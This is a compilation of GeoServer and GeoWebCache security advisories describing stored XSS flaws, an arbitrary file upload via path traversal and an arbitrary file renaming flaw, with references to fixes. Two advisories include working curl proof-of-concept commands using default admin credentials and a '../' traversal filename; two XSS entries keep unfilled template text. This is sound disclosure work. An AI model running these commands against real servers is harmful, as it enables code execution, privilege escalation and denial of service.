Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the GWC Demos Page. Access to the GWC Demos Page is available to all users although data security may limit users' ability to trigger the XSS.
Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
References https://github.com/GeoWebCache/geowebcache/issues/1171 https://github.com/GeoWebCache/geowebcache/pull/1173
Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
Impact This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
References https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222
Summary An arbitrary file renaming vulnerability exists that enables an authenticated administrator with permissions to modify stores through the REST Coverage Store or Data Store API to rename arbitrary files and directories with a name that does not end in ".zip".
Details Store file uploads rename zip files to have a ".zip" extension if it doesn't already have one before unzipping the file. This is fine for file and url upload methods where the files will be in a specific subdirectory of the data directory but, when using the external upload method, this allows arbitrary files and directories to be renamed.
PoC Coverage Store Example (workspace and store name are irrelevant and any valid coverage format can be used): curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" "http://localhost:8080/geoserver/rest/workspaces/a/coveragestores/b/external.geotiff" Data Store Example (workspace and store name and data store format are irrelevant): curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" "http://localhost:8080/geoserver/rest/workspaces/a/datastores/b/external.c"
Impact Renaming GeoServer files will most likely result in a denial of service, either completely preventing GeoServer from running or effectively deleting specific resources (such as a workspace, layer or style). In some cases, renaming GeoServer files could revert to the default settings for that file which could be relatively harmless like removing contact information or have more serious consequences like allowing users to make OGC requests that the customized settings would have prevented them from making. The impact of renaming non-GeoServer files depends on the specific environment although some sort of denial of service is a likely outcome.
References https://osgeo-org.atlassian.net/browse/GEOS-11213 https://github.com/geoserver/geoserver/pull/7289
Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the WMS GetMap SVG Output Format when the Simple SVG renderer is enabled. Access to the WMS SVG Format is available to all users by default although data and service security may limit users' ability to trigger the XSS.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
References https://osgeo-org.atlassian.net/browse/GEOS-11152 https://github.com/geoserver/geoserver/pull/7173
Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another administrator’s browser when viewed in the GWC Seed Form. Access to the GWC Seed Form is limited to full administrators by default and granting non-administrators access to this endpoint is not recommended.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
References https://github.com/GeoWebCache/geowebcache/issues/1172 https://github.com/GeoWebCache/geowebcache/pull/1174
Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the WMS GetMap OpenLayers Output Format. Access to the WMS OpenLayers Format is available to all users by default although data and service security may limit users' ability to trigger the XSS.
Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
References https://osgeo-org.atlassian.net/browse/GEOS-11153 https://github.com/geoserver/geoserver/pull/7174
Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the MapML HTML Page. The MapML extension must be installed and access to the MapML HTML Page is available to all users although data security may limit users' ability to trigger the XSS.
Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
References https://osgeo-org.atlassian.net/browse/GEOS-11154 https://github.com/geoserver/geoserver/pull/7175